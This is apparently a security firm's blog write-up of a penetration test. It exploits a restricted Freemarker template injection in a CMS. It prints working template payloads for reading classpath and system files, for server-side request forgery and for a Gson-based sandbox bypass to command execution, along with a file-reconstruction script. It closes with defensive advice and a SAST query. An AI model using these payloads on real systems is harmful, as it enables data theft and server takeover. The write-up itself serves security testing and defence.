Contact Us Get an assesment

In-depth Freemarker Template Injection

In-depth Freemarker Template Injection

During a recent engagement, our AppSec team faced an interesting instance of limited Server Side Template Injection in Freemarker.

In-depth Freemarker Template Injection

During a recent engagement, our AppSec team faced an interesting instance of limited Server Side Template Injection in Freemarker. Since we were not able to find online any deep-through analysis of what can be done when certain security restrains are in place, we decided to write this post, in which we will try to highlight interesting use-cases and workarounds for achieving cool things through Freemarker injection.

Scenario

We were tasked with the testing of a Content Management System (CMS) application used by the client to publish contents in their website. For this assessment, we only had access to a low-privileged user in the CMS, so a big part of the test was getting higher privileges and assuring whether we could access data we were not supposed to.

After some exploratory tests, we stumbled upon a section which offered the option to manage templates. These were in fact Freemarker templates, so Server Side Template Injection came to mind right away. There is a quick, well-known PoC for executing arbitrary commands in templates an attacker has write access to:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}

The problem was our limited-permission user was not allowed to edit templates, so first we had to escalate privileges. Luckily, some hours later we were able to exploit an authorization flaw in the permission-granting system and turned ourselves into administrators of the site. Great! Next-step, code execution! We created the template, pasted the PoC snippet and rendered the page:

Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

Ouch. It seemed this was not going to be that easy.

TemplateClassResolver

It turns out Freemarker offers to register a TemplateClassResolver in its configuration in order to limit which TemplateModels can be instantiated in the templates. There are three predefined resolvers:

  • UNRESTRICTED_RESOLVER: Simply calls ClassUtil.forName(String).
  • SAFER_RESOLVER: Same as UNRESTRICTED_RESOLVER, except that it does not allow resolving ObjectConstructorExecute and freemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER: Doesn’t allow resolving any classes.

In this case, the configured TemplateClassResolver was ALLOWS_NOTHING_RESOLVER, so we were unable to use the ?new built-in at all. This meant we could not use any TemplateModel and therefore there was no immediate way of executing arbitrary code. At this point, we read through Freemarker’s extensive documentation in order to find other ways of exploiting our restricted Server Side Template Injection.

Enter Freemarker’s ?api built-in

It turns out Freemarker supports another interesting built-in, ?api, which gives access to the subjacent Java API Freemarker’s BeanWrappers are built on top of. This built-in is disabled by default, but it can be enabled through configuration by calling Configurable.setAPIBuiltinEnabled. In this case, we were lucky: it had been enabled in our templates’ configuration, so there were plenty of options to explore now.

Even so, it was not trivial to execute code either: Freemarker follows good security practices, and they restrict which classes and methods can be accessed through the ?api built-in. In their GitHub repository we found a properties file which lists the set of forbidden calls.

So, with no access to Class.forNameClass.getClassLoaderClass.newInstanceConstructor.newInstance and Method.invoke, our chances of arbitrarily executing code were pretty low. But there are other interesting things that can be done through Java calls and reflection, so we did not surrender and decided to explore what could we achieve with what we had.

Accessing resources in classpath

One of the things that sticked out right off the bat was that Object.getClass was not restricted. Through this, we could use any exposed BeanWrapper in the template to access the Class<?> class, and from it call getResourceAsStream. This meant we could access any file in the application’s classpath. It was a bit painful to read the contents of an InputStream through a template (and probably there is a better way to do it) but we used the following snippet:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

(Note that object is a BeanWrapper that already existed in the template’s data model, we did not create it) After rendering the template, each byte of the selected file appeared on the screen, between [] and separated by commas. Far from optimal, but a quick Python script could turn that into a file for us:

match = re.search(r'FILE:(.*),s*(\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
    f.write(barray)

With this, we could list the contents of directories, we had access to sensitive .properties files with some credentials, and of course we could download .jar and .class files, which in turn could be decompiled into source code. At this point, the engagement suddenly turned into a source code review, which our AppSec folks have quite some experience in. The big prize, though, was finding a certain class with AWS credentials hardcoded in it, which gave us access to some sensitive S3 buckets. Moral of the story: never underestimate the risks of hardcoding credentials in source code just because “attackers will not have access to that”!

Reading arbitrary files of the system

But being confined in the classpath is boring, so we kept digging. By carefully reading the Javadocs, we realized we had access to the URL objects returned by Class.getResource, which in turn have the method toURI. And why is that interesting? Because the URI class offers the static method create, which would allow us to create arbitrary URIs and then turning them back to URLs with toURL. After a little tinkering, we had another snippet to exfiltrate any file in the file system:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

This is great, but there is more we could do with it. Instead of using the file:// scheme, we could use http://https:// or ftp:// (to name a few), and suddenly we turned our limited Template Injection into a fully-fledged Server Side Request Forgery! One of the immediate uses of that is querying AWS Metadata endpoint to obtain even more sensitive information.Cool! Could we take this even further?

Getting ClassLoader through ProtectionDomain

After re-reading the Class class Javadoc, we noticed the getProtectionDomain method. This gave us access to the ProtectionDomain object which, coincidentally, has its own getClassLoader method. Freemarker’s unsafeMethods.properties file does not restrict ProtectionDomain.getClassLoader, so we found a way to access a ClassLoader from our templates! This would not work if the ProtectionDomain was not configured with its own ClassLoader, but in this case it indeed was, so we were set to go.

Now, this was cool because we could load references to arbitrary classes (i.e. Class<?> objects), but we were still unable to instantiate them or invoke their methods. Nonetheless, we could inspect fields, and access their values if they were static (since we do not have proper instances to access non-static fields). These seemed promising, but we were lacking one final step to achieve code execution.

Arbitrary code execution

Since we downloaded a good amount of source code with the getResourceAsStream method, we decided to give another look to it and search for classes we could load in the template which had interesting static fields. After a while, it was bingo: there was a class with a public static final field which was an instance of Gson. Gson is a JSON object manipulation library made by Google which is fairly secure if used properly. But, having free access to a clean instance, it was only a matter of time we found a way to instantiate arbitrary classes:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>

(Note that the Field.get call is accessing a static field, so no instance is necessary as parameter and we can simply use null).

Finally, we could instantiate arbitrary objects. But, since Runtime.getRuntime and similar methods were out of the question because of unsafeMethods.properties, we could not directly execute code. Then it clicked us we could just go back to square one and use Freemarker’s Execute Template Model, since we were not using the ?new built-in to instantiate it. Sure enough, we had found a way to execute arbitrary code:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

And the output:

uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)

SAST query

Being able to detect this issue with recurrent SAST scans can ensure it is not introduced nor re-introduced early in the development stage, so fixing it is easier and cheaper. We wrote the following query for Checkmarx’s CxSAST, an excellent tool for automated code reviews:

CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));

Since Freemarker’s ?api built-in is disabled by default, it is easy to search for calls to the setAPIBuiltinEnabled method with a true parameter, and raise an alert if any is found.

Conclusion

In this post, we described ways of successfully exploiting a Freemarker Template Injection when ALLOWS_NOTHING_RESOLVER is configured as the TemplateClassResolver, disabling the straight-forward way of executing arbitrary code. By taking advantage of the ?api built-in, we found ways of compromising sensitive data through the templates, and ultimately achieve code execution by finding a specific class that suited our needs.This highlights several important points:

  • First of all, giving users the ability to create and edit dynamic templates is always a risk. Template languages are powerful and, because of that, they should be handled with care, so sometimes it is better to take into account when assigning permissions that users with template-editing capabilities are basically administrators of the web server (or can potentially become one).
  • The fact that the ?api built-in was enabled is what, in the end, allowed us to do dangerous things like downloading source code, performing SSRF or execute arbitrary code. This is disabled by default for a reason, and should only be enabled if there is no other solution.
  • Java offers several protections at the code level that should be considered when developing applications: things like visibility or Serializable classes containing sensitive data can become a risk when an attacker has reached some kind of code execution capabilities in the JVM. Freemarker includes protections (like disallowing dangerous reflection methods like setAccessible), but good security and coding practices makes the life of the attacker even harder.

In the end, this was a cool experience for us and we got a lot of fun trying to bypass the ALLOWS_NOTHING_RESOLVER that initially seemed to be a dead-end for our code execution aspirations. Also, we hope that this post becomes useful for other testers which find themselves in similar situations and want to explore the limits of what can be done in a restricted or sandboxed environment.

Thanks for reading, and see you in the next post!